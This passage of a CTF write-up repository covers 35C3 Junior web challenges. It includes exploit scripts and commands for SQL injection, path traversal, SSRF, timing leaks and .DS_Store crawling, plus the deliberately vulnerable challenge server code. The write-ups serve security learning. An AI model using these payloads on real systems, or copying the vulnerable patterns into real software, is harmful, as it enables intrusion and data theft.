412 | Difficulty Estimate: Medium
413 |
414 | # Solution
415 |
416 | ```bash
417 | ./db_secret.py
418 | ```
419 | ```json
420 | {'code': 1, 'content': 1, 'created': 1, 'lastModified': 1, 'public': 1, 'title': 1, 'type': 1, 'userName': '35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???'}
421 | ```
422 |
423 |
424 | flags - 37 points
425 | -----------------
426 |
427 | * **Web**
428 |
429 | # Problem
430 |
431 | Solves: 411
432 |
433 | Fun with flags: http://35.207.169.47
434 |
435 | Flag is at /flag
436 |
437 | Difficulty estimate: Easy
438 |
439 | # Solution
440 |
441 | [flags](flags.png)
442 |
443 | ```bash
444 | curl -H 'Accept-Language: ....//....//....//....//flag' http://35.207.169.47/
445 | ```
446 | ```html
447 |
448 | <?php
highlight_file(__FILE__);
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
$lang = explode(',', $lang)[0];
$lang = str_replace('../', '', $lang);
$c = file_get_contents("flags/$lang");
if (!$c) $c = file_get_contents("flags/ot");
echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';
449 |
450 |
451 | ```
452 | ```bash
453 | echo 'MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo' | base64 -d
454 | 35c3_this_flag_is_the_be5t_fl4g
455 | ```
456 |
457 |
458 | localhost - 81 points
459 | ---------------------
460 |
461 | * **Web**
462 |
463 | # Problem
464 |
465 | Solves: 69
466 |
467 | We came up with some ingenious solutions to the problem of password reuse. For users, we don't use password auth but send around mails instead. This works well for humans but not for robots. To make test automation possible, we didn't want to send those mails all the time, so instead we introduced the localhost header. If we send a request to our server from the same host, our state-of-the-art python server sets the localhost header to a secret only known to the server. This is bullet-proof, luckily.
468 |
469 | http://35.207.189.79/
470 |
471 | Difficulty Estimate: Medium
472 |
473 | # Solution
474 |
475 | ```
476 | curl -v http://35.207.189.79/favicon.ico
477 | * Trying 35.207.189.79...
478 | * TCP_NODELAY set
479 | * Connected to 35.207.189.79 (35.207.189.79) port 80 (#0)
480 | > GET /favicon.ico HTTP/1.1
481 | > Host: 35.207.189.79
482 | > User-Agent: curl/7.58.0
483 | > Accept: */*
484 | >
485 | < HTTP/1.1 200 OK
486 | < Server: nginx/1.13.12
487 | < Content-Type: image/vnd.microsoft.icon
488 | < Content-Length: 1150
489 | < Connection: keep-alive
490 | < Last-Modified: Thu, 27 Dec 2018 13:56:51 GMT
491 | < Cache-Control: public, max-age=43200
492 | < Expires: Sun, 30 Dec 2018 23:41:37 GMT
493 | < ETag: "1545919011.0-1150-704843451"
494 | < Date: Sun, 30 Dec 2018 11:41:37 GMT
495 | < Accept-Ranges: bytes
496 | < X-Frame-Options: SAMEORIGIN
497 | < X-Xss-Protection: 1; mode=block
498 | < X-Content-Type-Options: nosniff
499 | < Content-Security-Policy: script-src 'self' 'unsafe-inline';
500 | < Referrer-Policy: no-referrer-when-downgrade
501 | < Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self';
502 | <
503 | ```
504 |
505 | ```
506 | curl -v 'http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/favicon.ico'
507 | * Trying 35.207.189.79...
508 | * TCP_NODELAY set
509 | * Connected to 35.207.189.79 (35.207.189.79) port 80 (#0)
510 | > GET /api/proxyimage?url=http://127.0.0.1:8075/favicon.ico HTTP/1.1
511 | > Host: 35.207.189.79
512 | > User-Agent: curl/7.58.0
513 | > Accept: */*
514 | >
515 | < HTTP/1.1 200 OK
516 | < Content-Type: image/vnd.microsoft.icon
517 | < Content-Length: 1150
518 | < Connection: keep-alive
519 | < Server: nginx/1.13.12
520 | < Last-Modified: Thu, 27 Dec 2018 13:56:51 GMT
521 | < Cache-Control: public, max-age=43200
522 | < Expires: Sun, 30 Dec 2018 23:42:55 GMT
523 | < ETag: "1545919011.0-1150-704843451"
524 | < Date: Sun, 30 Dec 2018 11:42:55 GMT
525 | < Accept-Ranges: bytes
526 | < X-Frame-Options: SAMEORIGIN
527 | < X-Xss-Protection: 1; mode=block
528 | < X-Content-Type-Options: nosniff
529 | < Content-Security-Policy: script-src 'self' 'unsafe-inline';
530 | < Referrer-Policy: no-referrer-when-downgrade
531 | < Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self';
532 | < X-Localhost-Token: 35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST
533 | <
534 | ```
535 |
536 |
537 |
538 | Logged In - 47 points
539 | ---------------------
540 |
541 | * **Web**
542 |
543 | # Problem
544 |
545 | Solves: 180
546 |
547 | Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account.
548 |
549 | http://35.207.189.79/
550 |
551 | Difficulty Estimate: Easy
552 |
553 | # Solution
554 |
555 | ```
556 | ./logged_in.py
557 | , , ]>
558 | ```
559 |
560 |
561 | McDonald - 44 points
562 | --------------------
563 |
564 | * **Web**
565 |
566 | # Problem
567 |
568 | Solves: 214
569 |
570 | Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores..
571 |
572 | http://35.207.91.38
573 |
574 | # Solution
575 |
576 | ds-store package
577 |
578 | [mcdonald.py](mcdonald.py)
579 |
580 | probably could have walked the directory tree by hand, but i just like programming too much...
581 | ```
582 | (venv2) root@kali:~/share/ds# python mcdonald.py
583 | ('no match: ', u'http://35.207.91.38/backup/a')
584 | ('no match: ', u'http://35.207.91.38/backup/c/a')
585 | ('no match: ', u'http://35.207.91.38/backup/c/c/a')
586 | ('no match: ', u'http://35.207.91.38/backup/c/c/c')
587 | ('no match: ', u'http://35.207.91.38/backup/c/c/b')
588 | ('no match: ', u'http://35.207.91.38/backup/c/b/a')
589 | ('no match: ', u'http://35.207.91.38/backup/c/b/c')
590 | ('no match: ', u'http://35.207.91.38/backup/c/b/b')
591 | ('no match: ', u'http://35.207.91.38/backup/b/a/a')
592 | ('no match: ', u'http://35.207.91.38/backup/b/a/c/flag.txt')
593 | ('no match: ', u'http://35.207.91.38/backup/b/a/c/noflag.txt')
594 | ('no match: ', u'http://35.207.91.38/backup/b/a/b/fun')
595 | ('no match: ', u'http://35.207.91.38/backup/b/a/noflag.txt')
596 | ('no match: ', u'http://35.207.91.38/backup/b/c')
597 | ('no match: ', u'http://35.207.91.38/backup/b/b/fun')
598 | ('no match: ', u'http://35.207.91.38/backup/b/noflag.txt')
599 | (venv2) root@kali:~/share/ds# curl http://35.207.91.38/backup/b/a/c/flag.txt
600 | 35c3_Appl3s_H1dden_F1l3s
601 | ```
602 |
603 |
604 | Not(e) accessible - 55 points
605 | -----------------------------
606 |
607 | * **Web**
608 |
609 | # Problem
610 |
611 | Solves: 130
612 |
613 | We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that's why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note.
614 |
615 | Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable...
616 |
617 | http://35.207.120.163
618 |
619 | Difficulti estimate: Easy-Medium
620 |
621 | # Solution
622 |
623 | [note1.png](note1.png)
624 | [note2.png](note2.png)
625 | [note3.png](note3.png)
626 | [note4.png](note4.png)
627 | [note5.png](note5.png)
628 |
--------------------------------------------------------------------------------
/2018/35C3-junior/db_secret.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import requests
3 | import sys
4 |
5 | BASE_URL = 'http://35.207.189.79/api/'
6 | #requests.post(BASE_URL + 'signup', data=json.dumps({'name': 'yolo', 'email': 'yolo@yolo'}))
7 | resp = requests.post(BASE_URL + 'login', json={'email': 'admin'})
8 | if resp.status_code != 200:
9 | print(resp.text)
10 | sys.exit(1)
11 | resp = requests.post(BASE_URL + 'verify', json={'code': resp.text})
12 | if resp.status_code != 200:
13 | print(resp.text)
14 | sys.exit(1)
15 | #print(resp.cookies)
16 | #print(resp.headers)
17 | resp = requests.post(
18 | BASE_URL + 'getprojectsadmin',
19 | json={'offset': "1' UNION SELECT id,secret,1,1,1,1,1,1 FROM secrets; --", 'sorting': 'newest'},
20 | cookies=resp.cookies)
21 | for result in resp.json():
22 | print(result)
23 |
--------------------------------------------------------------------------------
/2018/35C3-junior/devnull.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import requests
3 | import time
4 |
5 | res = ''
6 | while True:
7 | found = False
8 | for char in '_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~abcdefghijklmnopqrstuvwxyz':
9 | start = time.time()
10 | # print('if "{}" == charAt(DEV_NULL,{}) then pause(1000) end'.format(char, len(res)))
11 | result = requests.post(
12 | 'http://35.207.189.79/wee/dev/null',
13 | json={'code': 'if "{}" == charAt(DEV_NULL,{}) then pause(1000) end'.format(char, len(res))})
14 | if time.time() - start > 1.5:
15 | start = time.time()
16 | result = requests.post(
17 | 'http://35.207.189.79/wee/dev/null',
18 | json={'code': 'if "{}" == charAt(DEV_NULL,{}) then pause(1000) end'.format(char, len(res))})
19 | if time.time() - start > 1.5:
20 | res += char
21 | print(res)
22 | found = True
23 | break
24 | if not found:
25 | break
26 |
--------------------------------------------------------------------------------
/2018/35C3-junior/flags.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/flags.png
--------------------------------------------------------------------------------
/2018/35C3-junior/linear-server.py:
--------------------------------------------------------------------------------
1 | import os, math, sys, binascii
2 | from secrets import key, flag
3 | from hashlib import sha256
4 | from Crypto.Cipher import AES
5 |
6 | p = 340282366920938463463374607431768211297
7 | bits = 128
8 | N = 40
9 |
10 | def rand():
11 | return int.from_bytes(os.urandom(bits // 8), 'little')
12 |
13 | def keygen():
14 | return [rand() for _ in range(N)]
15 |
16 | if __name__ == '__main__':
17 | # key = keygen() # generated once & stored in secrets.py
18 | challenge = keygen()
19 | print(' '.join(map(str, challenge)))
20 | response = int(input())
21 | if response != sum(x*y%p for x, y in zip(challenge, key)):
22 | print('ACCESS DENIED')
23 | exit(1)
24 |
25 | print('ACCESS GRANTED')
26 | cipher = AES.new(
27 | sha256(' '.join(map(str, key)).encode('utf-8')).digest(),
28 | AES.MODE_CFB,
29 | b'\0'*16)
30 | print(binascii.hexlify(cipher.encrypt(flag)).decode('utf-8'))
31 |
--------------------------------------------------------------------------------
/2018/35C3-junior/linear-surveillance.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/linear-surveillance.pcap
--------------------------------------------------------------------------------
/2018/35C3-junior/linear.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | import binascii
3 | from hashlib import sha256
4 | from Crypto.Cipher import AES
5 | import re
6 |
7 | def egcd(a, b):
8 | if a == 0:
9 | return (b, 0, 1)
10 | else:
11 | g, y, x = egcd(b % a, a)
12 | return (g, x - (b // a) * y, y)
13 |
14 | def modinv(a, m):
15 | g, x, y = egcd(a, m)
16 | if g != 1:
17 | raise Exception('modular inverse does not exist')
18 | else:
19 | return x % m
20 |
21 | # read data
22 | T1 = re.compile('^[0-9]{20,} ')
23 | T2 = re.compile('^[0-9]{20,}')
24 | T3 = re.compile('^[0-9a-f]{20,}')
25 |
26 | n = 340282366920938463463374607431768211297
27 | eqs = []
28 | for i in range(40):
29 | a, b, c = None, None, None
30 | for line in open('{}.ascii'.format(i)):
31 | if T1.match(line):
32 | a = [int(x) for x in line.strip().split()]
33 | elif T2.match(line):
34 | b = int(line.strip())
35 | elif T3.match(line):
36 | c = line.strip()
37 | eqs.append(a + [b])
38 |
39 | invs = []
40 | for line in eqs:
41 | invs.append([modinv(x, n) for x in line])
42 |
43 | #for rowi, line in enumerate(eqs):
44 | # for coli in range(len(line)):
45 | # line[coli] = line[coli] * invs[rowi][rowi] % n
46 |
47 | for rowi in range(len(eqs)-1, -1, -1):
48 | inv = modinv(eqs[rowi][rowi], n)
49 | for coli in range(len(eqs[rowi])):
50 | eqs[rowi][coli] = eqs[rowi][coli] * inv % n
51 | for row2i in range(rowi-1, -1, -1):
52 | mul = eqs[row2i][rowi]
53 | for i in range(len(eqs[row2i])):
54 | eqs[row2i][i] = (eqs[row2i][i] - mul * eqs[rowi][i]) % n
55 |
56 | for rowi in range(len(eqs)):
57 | for row2i in range(rowi + 1, len(eqs)):
58 | mul = eqs[row2i][rowi]
59 | for i in range(len(eqs[row2i])):
60 | eqs[row2i][i] = (eqs[row2i][i] - mul * eqs[rowi][i]) % n
61 |
62 | key = [l[-1] for l in eqs]
63 | # print(key)
64 |
65 | flag = binascii.unhexlify(c)
66 | cipher = AES.new(
67 | sha256(' '.join(map(str, key)).encode('utf-8')).digest(),
68 | AES.MODE_CFB,
69 | b'\0'*16)
70 | print(cipher.decrypt(flag))
71 |
--------------------------------------------------------------------------------
/2018/35C3-junior/logged_in.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import requests
3 | import sys
4 |
5 | BASE_URL = 'http://35.207.189.79/api/'
6 | resp = requests.post(BASE_URL + 'login', json={'email': 'admin'})
7 | if resp.status_code != 200:
8 | print(resp.text)
9 | sys.exit(1)
10 | resp = requests.post(BASE_URL + 'verify', json={'code': resp.text})
11 | if resp.status_code != 200:
12 | print(resp.text)
13 | sys.exit(1)
14 | print(resp.cookies)
15 |
--------------------------------------------------------------------------------
/2018/35C3-junior/mcdonald.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from ds_store import DSStore
3 | # set([x.filename for x in list(DSStore.open('storeb'))])
4 |
5 | BASE = 'http://35.207.91.38/backup' # /b/a/.DS_Store'
6 |
7 | def f(url):
8 | res = requests.get('/'.join([url, '.DS_Store']))
9 | if res.status_code != 200:
10 | print('no match: ', url)
11 | return
12 | open('/tmp/f', 'wb').write(res.content)
13 | for fn in set([x.filename for x in list(DSStore.open('/tmp/f'))]):
14 | f('/'.join([url, fn]))
15 |
16 |
17 | f(BASE)
18 |
--------------------------------------------------------------------------------
/2018/35C3-junior/note.src.tgz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note.src.tgz
--------------------------------------------------------------------------------
/2018/35C3-junior/note1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note1.png
--------------------------------------------------------------------------------
/2018/35C3-junior/note2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note2.png
--------------------------------------------------------------------------------
/2018/35C3-junior/note3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note3.png
--------------------------------------------------------------------------------
/2018/35C3-junior/note4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note4.png
--------------------------------------------------------------------------------
/2018/35C3-junior/note5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/1337pwnie/ctf-writeups/f5c002d72fab65fb6daa5c31ee2e26b4de337879/2018/35C3-junior/note5.png
--------------------------------------------------------------------------------
/2018/35C3-junior/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import inspect
3 | import os
4 | import random
5 | import sqlite3
6 | import string
7 | import sys
8 | import base64
9 | from html import escape
10 | from urllib import parse
11 | from typing import Union, List, Tuple
12 | import datetime
13 |
14 | from subprocess import STDOUT, check_output
15 |
16 | import requests
17 | from flask import Flask, send_from_directory, send_file, request, Response, g, make_response, jsonify
18 | from flags import DB_SECRET, DECRYPTED, DEV_NULL, LOCALHOST, LOGGED_IN
19 |
20 | STATIC_PATH = "../client/site"
21 | DATABASE = ".paperbots.db"
22 | MIGRATION_PATH = "./db/V1__Create_tables.sql"
23 | THUMBNAIL_PATH = os.path.join(STATIC_PATH, "thumbnails")
24 | WEE_PATH = "../weelang"
25 | WEETERPRETER = "weeterpreter.ts"
26 | WEE_TIMEOUT = 5
27 |
28 | os.makedirs(THUMBNAIL_PATH, exist_ok=True)
29 |
30 | app = Flask(__name__, static_folder=STATIC_PATH, static_url_path="/static")
31 |
32 | encrypted = None
33 |
34 |
35 | def get_db() -> sqlite3.Connection:
36 | db = getattr(g, '_database', None)
37 | if db is None:
38 | db = g._database = sqlite3.connect(DATABASE)
39 | return db
40 |
41 |
42 | def init_db():
43 | with app.app_context():
44 | db = get_db()
45 | with open(MIGRATION_PATH, "r") as f:
46 | db.cursor().executescript(f.read())
47 | db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)")
48 | db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,))
49 | db.commit()
50 |
51 |
52 | def query_db(query, args=(), one=True) -> Union[List[Tuple], Tuple, None]:
53 | if not isinstance(args, tuple):
54 | args = (args,)
55 | cur = get_db().execute(query, args)
56 | rv = cur.fetchall()
57 | cur.close()
58 | return (rv[0] if rv else None) if one else rv
59 |
60 |
61 | def user_by_token(token) -> Tuple[int, str, str, str]:
62 | """
63 | queries and returns userId, username, email, usertype for a given token
64 | :param token: the token
65 | :return: userId, name, email, usertype
66 | """
67 | if not token:
68 | raise AttributeError("Token must not be empty")
69 |
70 | userId, = query_db("SELECT userId FROM userTokens WHERE token=?", token) # TODO: Join this?
71 | name, email, usertype = query_db("SELECT name, email, type FROM users WHERE id=?", userId)
72 | return userId, name, email, usertype
73 |
74 |
75 | def random_code(length=6) -> str:
76 | return "".join([random.choice(string.ascii_lowercase)[0] for x in range(length)])
77 |
78 |
79 | def get_code(username):
80 | db = get_db()
81 | c = db.cursor()
82 | userId, = query_db("SELECT id FROM users WHERE name=?", username)
83 | code = random_code()
84 | c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code))
85 | db.commit()
86 | # TODO: Send the code as E-Mail instead :)
87 | return code
88 |
89 |
90 | def jsonify_projects(projects, username, usertype):
91 | return jsonify([
92 | {"code": x[0],
93 | "userName": x[1],
94 | "title": x[2],
95 | "public": x[3],
96 | "type": x[4],
97 | "lastModified": x[5],
98 | "created": x[6],
99 | "content": x[7]
100 | } for x in projects if usertype == "admin" or x[1] == username or x[3]
101 | ])
102 |
103 |
104 | @app.teardown_appcontext
105 | def close_connection(exception):
106 | db = getattr(g, '_database', None)
107 | if db is not None:
108 | db.close()
109 |
110 |
111 | # Error handling
112 | @app.errorhandler(404)
113 | def fourohfour(e):
114 | return send_file(os.path.join(STATIC_PATH, "404.html")), 404
115 |
116 |
117 | @app.errorhandler(500)
118 | def fivehundred(e):
119 | return jsonify({"error": str(e)}), 500
120 |
121 |
122 | @app.after_request
123 | def secure(response: Response):
124 | if not request.path[-3:] in ["jpg", "png", "gif"]:
125 | response.headers["X-Frame-Options"] = "SAMEORIGIN"
126 | response.headers["X-Xss-Protection"] = "1; mode=block"
127 | response.headers["X-Content-Type-Options"] = "nosniff"
128 | response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';"
129 | response.headers["Referrer-Policy"] = "no-referrer-when-downgrade"
130 | response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \
131 | "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \
132 | "fullscreen *; payment 'self'; "
133 | if request.remote_addr == "127.0.0.1":
134 | response.headers["X-Localhost-Token"] = LOCALHOST
135 |
136 | return response
137 |
138 |
139 | @app.route("/", methods=["GET"])
140 | def main():
141 | return send_file(os.path.join(STATIC_PATH, "index.html"))
142 |
143 |
144 | @app.route("/kitten.png")
145 | def kitten():
146 | return send_file(os.path.join(STATIC_PATH, "img/kitten.png"))
147 |
148 |
149 | # The actual page
150 | @app.route("/", methods=["GET"])
151 | def papercontents(filename):
152 | return send_from_directory(STATIC_PATH, filename)
153 |
154 |
155 | @app.route("/api/signup", methods=["POST"])
156 | def signup():
157 | usertype = "user"
158 | json = request.get_json(force=True)
159 | name = escape(json["name"].strip())
160 | email = json["email"].strip()
161 | if len(name) == 0:
162 | raise Exception("InvalidUserName")
163 | if len(email) == 0:
164 | raise Exception("InvalidEmailAddress")
165 | if not len(email.split("@")) == 2:
166 | raise Exception("InvalidEmailAddress")
167 | email = escape(email.strip())
168 | # Make sure the user name is 4-25 letters/digits only.
169 | if len(name) < 4 or len(name) > 25:
170 | raise Exception("InvalidUserName")
171 |
172 | if not all([x in string.ascii_letters or x in string.digits for x in name]):
173 | raise Exception("InvalidUserName")
174 | # Check if name exists
175 | if query_db("SELECT name FROM users WHERE name=?", name):
176 | raise Exception("UserExists")
177 | if query_db("Select id, name FROM users WHERE email=?", email):
178 | raise Exception("EmailExists")
179 | # Insert user // TODO: implement the verification email
180 | db = get_db()
181 | c = db.cursor()
182 | c.execute("INSERT INTO users(name, email, type) values(?, ?, ?)", (name, email, usertype))
183 | db.commit()
184 | return jsonify({"success": True})
185 |
186 |
187 | @app.route("/api/login", methods=["POST"])
188 | def login():
189 | print("Logging in?")
190 | # TODO Send Mail
191 | json = request.get_json(force=True)
192 | login = json["email"].strip()
193 | try:
194 | userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
195 | except Exception as ex:
196 | raise Exception("UserDoesNotExist")
197 | return get_code(name)
198 |
199 |
200 | @app.route("/api/verify", methods=["POST"])
201 | def verify():
202 | code = request.get_json(force=True)["code"].strip()
203 | if not code:
204 | raise Exception("CouldNotVerifyCode")
205 | userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
206 | db = get_db()
207 | c = db.cursor()
208 | c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
209 | token = random_code(32)
210 | c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
211 | db.commit()
212 | name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
213 | resp = make_response()
214 | resp.set_cookie("token", token, max_age=2 ** 31 - 1)
215 | resp.set_cookie("name", name, max_age=2 ** 31 - 1)
216 | resp.set_cookie("logged_in", LOGGED_IN)
217 | return resp
218 |
219 |
220 | @app.route("/api/logout", methods=["POST"])
221 | def logout():
222 | request.cookies.get("token")
223 | resp = make_response()
224 | resp.set_cookie("token", "")
225 | resp.set_cookie("name", "")
226 | resp.set_cookie("logged_in", "")
227 | return resp
228 |
229 |
230 | @app.route("/api/getproject", methods=["POST"])
231 | def getproject():
232 | # TODO: Do.
233 | project_id = request.get_json(force=True)["projectId"]
234 | token = request.cookies.get("token")
235 | try:
236 | userId, name, email, usertype = user_by_token(token)
237 | except AttributeError:
238 | name = ""
239 | usertype = "user"
240 | project = query_db("SELECT code, userName, title, description, content, public, type, lastModified, created "
241 | "FROM projects WHERE code=?", (project_id,))
242 | if not project or (not project[5] and not name == project[1] and not usertype == "admin"):
243 | raise Exception("ProjectDoesNotExist")
244 | return jsonify({
245 | "code": project[0],
246 | "userName": project[1],
247 | "title": project[2],
248 | "description": project[3],
249 | "content": project[4],
250 | "public": project[5],
251 | "type": project[6],
252 | "lastModified": project[7],
253 | "created": project[8]
254 | })
255 |
256 |
257 | @app.route("/api/getprojects", methods=["POST"])
258 | def getuserprojects():
259 | username = request.get_json(force=True)["userName"]
260 | projects = query_db("SELECT code, userName, title, public, type, lastModified, created, content "
261 | "FROM projects WHERE userName=? ORDER BY lastModified DESC", (username), False)
262 | name = ""
263 | usertype = "user"
264 | if "token" in request.cookies:
265 | userId, name, email, usertype = user_by_token(request.cookies["token"])
266 | return jsonify_projects(projects, name, usertype)
267 |
268 |
269 | @app.route("/api/saveproject", methods=["POST"])
270 | def saveproject():
271 | json = request.get_json(force=True)
272 | name = request.cookies["name"]
273 | token = request.cookies["token"]
274 | # TODO String projectId = paperbots.saveProject(ctx.cookie("token"), request.getCode(), request.getTitle(), request.getDescription(), request.getContent(), request.isPublic(), request.getType());
275 | userId, username, email, usertype = user_by_token(token)
276 |
277 | db = get_db()
278 | c = db.cursor()
279 |
280 | if not json["code"]:
281 | project_id = random_code(6)
282 |
283 | c.execute(
284 | "INSERT INTO projects(userId, userName, code, title, description, content, public, type) "
285 | "VALUES(?,?,?,?,?,?,?,?)",
286 | (userId, username, project_id,
287 | escape(json["title"]), escape(json["description"]), json["content"], True, json["type"]))
288 | db.commit()
289 | return jsonify({"projectId": project_id})
290 | else:
291 | c.execute("UPDATE projects SET title=?, description=?, content=?, public=? WHERE code=? AND userId=?",
292 | (escape(json["title"]), escape(json["description"]), json["content"], True, json["code"],
293 | userId)
294 | )
295 | db.commit()
296 | return jsonify({"projectId": json["code"]})
297 |
298 |
299 | @app.route("/api/savethumbnail", methods=["POST"])
300 | def savethumbnail():
301 | name = request.cookies["name"]
302 | token = request.cookies["token"]
303 | userId, username, email, usertype = user_by_token(token)
304 |
305 | json = request.get_json(force=True)
306 | thumbnail = json["thumbnail"] # type: str
307 | project_id = json["projectId"]
308 | if not thumbnail.startswith("data:image/png;base64,"):
309 | raise Exception("Hacker")
310 | thumbnail = thumbnail[len("data:image/png;base64,"):].encode("ascii")
311 | decoded = base64.b64decode(thumbnail)
312 | project_username, = query_db("SELECT userName FROM projects WHERE code=?", (project_id,))
313 | if project_username != username:
314 | raise Exception("Hack on WeeLang, not the Server!")
315 | with open(os.path.join(THUMBNAIL_PATH, "{}.png".format(project_id)), "wb+") as f:
316 | f.write(decoded)
317 | return jsonify({"projectId": project_id})
318 |
319 |
320 | @app.route("/api/deleteproject", methods=["POST"])
321 | def deleteproject():
322 | name = request.cookies["name"]
323 | token = request.cookies["token"]
324 | userid, username, email, usertype = user_by_token(token)
325 | json = request.get_json(force=True)
326 | projectid = json["projectId"]
327 | project_username = query_db("SELECT userName FROM projects WHERE code=?", (projectid,))
328 | if project_username != username and usertype != "admin":
329 | raise Exception("Nope")
330 | db = get_db()
331 | c = db.cursor()
332 | c.execute("DELETE FROM projects WHERE code=?", (projectid,))
333 | db.commit()
334 | # raise Exception("The Internet Never Forgets")
335 | return {"projectId": projectid}
336 |
337 |
338 | # Admin endpoints
339 | @app.route("/api/getprojectsadmin", methods=["POST"])
340 | def getprojectsadmin():
341 | # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
342 | # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
343 | name = request.cookies["name"]
344 | token = request.cookies["token"]
345 | user, username, email, usertype = user_by_token(token)
346 |
347 | json = request.get_json(force=True)
348 | offset = json["offset"]
349 | sorting = json["sorting"]
350 |
351 | if name != "admin":
352 | raise Exception("InvalidUserName")
353 |
354 | sortings = {
355 | "newest": "created DESC",
356 | "oldest": "created ASC",
357 | "lastmodified": "lastModified DESC"
358 | }
359 | sql_sorting = sortings[sorting]
360 |
361 | if not offset:
362 | offset = datetime.datetime.now()
363 |
364 | return jsonify_projects(query_db(
365 | "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
366 | "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")
367 |
368 |
369 | @app.route("/api/getfeaturedprojects", methods=["POST"])
370 | def getfeaturedprojects():
371 | try:
372 | name = request.cookies["name"]
373 | token = request.cookies["token"]
374 | userid, username, email, usertype = user_by_token(token)
375 | except Exception as ex:
376 | username = ""
377 | usertype = "user"
378 |
379 | projects = query_db("SELECT code, userName, title, type, lastModified, created, content FROM projects "
380 | "WHERE featured=1 AND public=1 ORDER BY lastModified DESC", one=False)
381 | return jsonify_projects(projects, username, usertype)
382 |
383 |
384 | # Proxy images to avoid tainted canvases when thumbnailing.
385 | @app.route("/api/proxyimage", methods=["GET"])
386 | def proxyimage():
387 | url = request.args.get("url", '')
388 | parsed = parse.urlparse(url, "http") # type: parse.ParseResult
389 | if not parsed.netloc:
390 | parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult
391 | url = parsed.geturl()
392 |
393 | resp = requests.get(url)
394 | if not resp.headers["Content-Type"].startswith("image/"):
395 | raise Exception("Not a valid image")
396 |
397 | # See https://stackoverflow.com/a/36601467/1345238
398 | excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
399 | headers = [(name, value) for (name, value) in resp.raw.headers.items()
400 | if name.lower() not in excluded_headers]
401 |
402 | response = Response(resp.content, resp.status_code, headers)
403 | return response
404 |
405 |
406 | # Additional pyserver functions:
407 |
408 | # Wee as a service.
409 | def runwee(wee: string) -> string:
410 | print("{}: running {}".format(request.remote_addr, wee))
411 | result = check_output(
412 | ["ts-node", '--cacheDirectory', os.path.join(WEE_PATH, "__cache__"),
413 | os.path.join(WEE_PATH, WEETERPRETER), wee], shell=False, stderr=STDOUT, timeout=WEE_TIMEOUT,
414 | cwd=WEE_PATH).decode("utf-8")
415 | print("{}: result: {}".format(request.remote_addr, result))
416 | return result
417 |
418 |
419 | @app.route("/wee/run", methods=["POST"])
420 | def weeservice():
421 | json = request.get_json(force=True)
422 | wee = json["code"]
423 | out = runwee(wee)
424 | return jsonify({"code": wee, "result": out})
425 |
426 |
